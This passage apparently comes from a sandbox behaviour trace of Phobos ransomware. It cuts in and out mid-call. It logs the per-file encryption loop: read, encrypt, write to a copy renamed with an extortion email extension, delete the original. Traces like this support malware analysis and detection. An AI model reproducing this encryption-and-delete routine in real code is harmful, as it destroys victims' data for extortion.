lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x102, lpOverlapped=0x0) returned 1 [0047.062] CryptDestroyKey (hKey=0x10cef0) returned 1 [0047.062] CloseHandle (hObject=0x304) returned 1 [0047.063] CloseHandle (hObject=0x2e4) returned 1 [0047.063] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll")) returned 1 [0047.064] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0047.064] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0047.065] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=19288) returned 1 [0047.065] CloseHandle (hObject=0x2e4) returned 1 [0047.065] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll")) returned 0x80 [0047.065] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\SetupResources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0047.065] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0047.065] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0047.065] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0047.065] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\SetupResources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0047.067] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10cc30) returned 1 [0047.067] CryptSetKeyParam (hKey=0x10cc30, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0047.067] ReadFile (in: hFile=0x2e4, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x4b58, lpOverlapped=0x0) returned 1 [0047.078] CryptEncrypt (in: hKey=0x10cc30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x4b60, dwBufLen=0x4b60 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x4b60) returned 1 [0047.078] WriteFile (in: hFile=0x304, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x4b60, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x4b60, lpOverlapped=0x0) returned 1 [0047.079] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: phKey=0x2bdf898*=0x10cf30) returned 1 [0047.079] CryptSetKeyParam (hKey=0x10cf30, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0047.079] CryptEncrypt (in: hKey=0x10cf30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x50, dwBufLen=0x50 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x50) returned 1 [0047.079] CryptDestroyKey (hKey=0x10cf30) returned 1 [0047.079] WriteFile (in: hFile=0x304, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x102, lpOverlapped=0x0) returned 1 [0047.080] CryptDestroyKey (hKey=0x10cc30) returned 1 [0047.080] CloseHandle (hObject=0x2e4) returned 1 [0047.080] CloseHandle (hObject=0x304) returned 1 [0047.081] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll")) returned 1 [0047.082] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0047.082] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0047.082] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=17240) returned 1 [0047.083] CloseHandle (hObject=0x304) returned 1 [0047.083] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll")) returned 0x80 [0047.083] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\SetupResources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0047.083] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0047.083] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0047.083] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0047.083] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\SetupResources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0047.091] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10d030) returned 1 [0047.091] CryptSetKeyParam (hKey=0x10d030, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0047.091] ReadFile (in: hFile=0x304, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x4358, lpOverlapped=0x0) returned 1 [0047.362] CryptEncrypt (in: hKey=0x10d030, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x4360, dwBufLen=0x4360 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x4360) returned 1 [0047.362] WriteFile (in: hFile=0x2e4, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x4360, lpOverlapped=0x0) returned 1 [0047.363] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: phKey=0x2bdf898*=0x10d0f0) returned 1 [0047.363] CryptSetKeyParam (hKey=0x10d0f0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0047.363] CryptEncrypt (in: hKey=0x10d0f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x50, dwBufLen=0x50 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x50) returned 1 [0047.363] CryptDestroyKey (hKey=0x10d0f0) returned 1 [0047.363] WriteFile (in: hFile=0x2e4, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x102, lpOverlapped=0x0) returned 1 [0047.366] CryptDestroyKey (hKey=0x10d030) returned 1 [0047.366] CloseHandle (hObject=0x304) returned 1 [0047.366] CloseHandle (hObject=0x2e4) returned 1 [0047.367] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll")) returned 1 [0047.368] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0047.368] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0047.369] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=18776) returned 1 [0047.369] CloseHandle (hObject=0x2e4) returned 1 [0047.369] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll")) returned 0x80 [0047.369] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\SetupResources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0047.369] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0047.369] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0047.370] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0047.370] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\SetupResources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0047.371] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10ccb0) returned 1 [0047.371] CryptSetKeyParam (hKey=0x10ccb0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0047.371] ReadFile (in: hFile=0x2e4, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x4958, lpOverlapped=0x0) returned 1 [0047.385] CryptEncrypt (in: hKey=0x10ccb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x4960, dwBufLen=0x4960 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x4960) returned 1 [0047.385] WriteFile (in: hFile=0x304, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x4960, lpOverlapped=0x0) returned 1 [0047.386] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: phKey=0x2bdf898*=0x10cff0) returned 1 [0047.386] CryptSetKeyParam (hKey=0x10cff0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0047.386] CryptEncrypt (in: hKey=0x10cff0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x50, dwBufLen=0x50 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x50) returned 1 [0047.386] CryptDestroyKey (hKey=0x10cff0) returned 1 [0047.386] WriteFile (in: hFile=0x304, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x102, lpOverlapped=0x0) returned 1 [0047.386] CryptDestroyKey (hKey=0x10ccb0) returned 1 [0047.386] CloseHandle (hObject=0x2e4) returned 1 [0047.386] CloseHandle (hObject=0x304) returned 1 [0047.387] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll")) returned 1 [0047.389] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0047.389] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0047.395] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=18264) returned 1 [0047.395] CloseHandle (hObject=0x304) returned 1 [0047.395] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll")) returned 0x80 [0047.395] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\SetupResources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0047.395] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0047.396] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0047.396] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0047.396] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\SetupResources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0047.405] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10d0f0) returned 1 [0047.405] CryptSetKeyParam (hKey=0x10d0f0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0047.405] ReadFile (in: hFile=0x304, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x4758, lpOverlapped=0x0) returned 1 [0047.415] CryptEncrypt (in: hKey=0x10d0f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x4760, dwBufLen=0x4760 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x4760) returned 1 [0047.415] WriteFile (in: hFile=0x308, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x4760, lpOverlapped=0x0) returned 1 [0047.416] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: phKey=0x2bdf898*=0x10cff0) returned 1 [0047.416] CryptSetKeyParam (hKey=0x10cff0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0047.416] CryptEncrypt (in: hKey=0x10cff0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x50, dwBufLen=0x50 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x50) returned 1 [0047.416] CryptDestroyKey (hKey=0x10cff0) returned 1 [0047.416] WriteFile (in: hFile=0x308, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x102, lpOverlapped=0x0) returned 1 [0047.416] CryptDestroyKey (hKey=0x10d0f0) returned 1 [0047.416] CloseHandle (hObject=0x304) returned 1 [0047.416] CloseHandle (hObject=0x308) returned 1 [0047.417] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll")) returned 1 [0047.418] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0047.419] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0047.419] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=15704) returned 1 [0047.419] CloseHandle (hObject=0x308) returned 1 [0047.419] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll")) returned 0x80 [0047.419] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\SetupResources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0047.419] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0047.419] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0047.419] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0047.419] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\SetupResources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0047.421] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10cb70) returned 1 [0047.421] CryptSetKeyParam (hKey=0x10cb70, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0047.421] ReadFile (in: hFile=0x308, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x3d58, lpOverlapped=0x0) returned 1 [0047.429] CryptEncrypt (in: hKey=0x10cb70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x3d60, dwBufLen=0x3d60 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x3d60) returned 1 [0047.429] WriteFile (in: hFile=0x304, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x3d60, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x3d60, lpOverlapped=0x0) returned 1 [0047.430] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: phKey=0x2bdf898*=0x10d1f0) returned 1 [0047.430] CryptSetKeyParam (hKey=0x10d1f0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0047.430] CryptEncrypt (in: hKey=0x10d1f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x50, dwBufLen=0x50 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x50) returned 1 [0047.430] CryptDestroyKey (hKey=0x10d1f0) returned 1 [0047.430] WriteFile (in: hFile=0x304, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x102, lpOverlapped=0x0) returned 1 [0047.430] CryptDestroyKey (hKey=0x10cb70) returned 1 [0047.430] CloseHandle (hObject=0x308) returned 1 [0047.430] CloseHandle (hObject=0x304) returned 1 [0047.431] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll")) returned 1 [0047.432] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0047.432] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0047.432] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=15192) returned 1 [0047.432] CloseHandle (hObject=0x304) returned 1 [0047.432] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll")) returned 0x80 [0047.433] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\SetupResources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0047.433] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0047.433] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0047.433] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0047.433] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\SetupResources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0047.629] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10d070) returned 1 [0047.629] CryptSetKeyParam (hKey=0x10d070, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0047.629] ReadFile (in: hFile=0x304, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x3b58, lpOverlapped=0x0) returned 1 [0047.697] CryptEncrypt (in: hKey=0x10d070, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x3b60, dwBufLen=0x3b60 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x3b60) returned 1 [0047.697] WriteFile (in: hFile=0x338, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x3b60, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x3b60, lpOverlapped=0x0) returned 1 [0047.698] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: phKey=0x2bdf898*=0x10cb70) returned 1 [0047.698] CryptSetKeyParam (hKey=0x10cb70, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0047.698] CryptEncrypt (in: hKey=0x10cb70, hHash=0x0, Final=0, 